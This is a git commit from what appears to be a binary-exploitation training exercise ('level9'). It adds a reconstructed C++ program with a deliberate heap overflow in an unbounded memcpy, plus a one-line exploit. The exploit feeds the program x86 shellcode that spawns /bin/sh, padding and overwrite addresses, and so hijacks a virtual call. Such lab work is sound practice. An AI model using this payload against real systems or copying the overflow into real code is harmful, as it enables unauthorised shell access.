fix: bunch of meaningless chars in the walkthrough/source code

level9: done (wip - walkthrough)
This commit is contained in:
0x35c
2025-05-05 18:00:54 +02:00
parent 50afa069df
commit 428102a376
5 changed files with 49 additions and 4 deletions

View File

@ -0,0 +1 @@
./level9 $(python -c 'print "\x11\xa0\x04\x08" + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" + "A"*79 + "\x0c\xa0\x04\x08"')

44
level9/source.cpp Normal file
View File

@ -0,0 +1,44 @@
#include <cstring>
#include <stdlib.h>
class N
{
public:
char annotation[100];
int nb;
N(int Nb)
{
nb = Nb;
}
void setAnnotation(char *str)
{
memcpy(annotation, str, strlen(str));
}
int operator+(N const &e)
{
return nb + e.nb;
}
int operator-(N const &e)
{
return nb - e.nb;
}
};
int main(int ac, char **av)
{
if (ac <= 1)
exit(1);
N *a = new N(5);
N *b = new N(6);
N *a_ptr = a;
N *b_ptr = b;
a_ptr->setAnnotation(av[1]);
return *b_ptr + *a_ptr;
}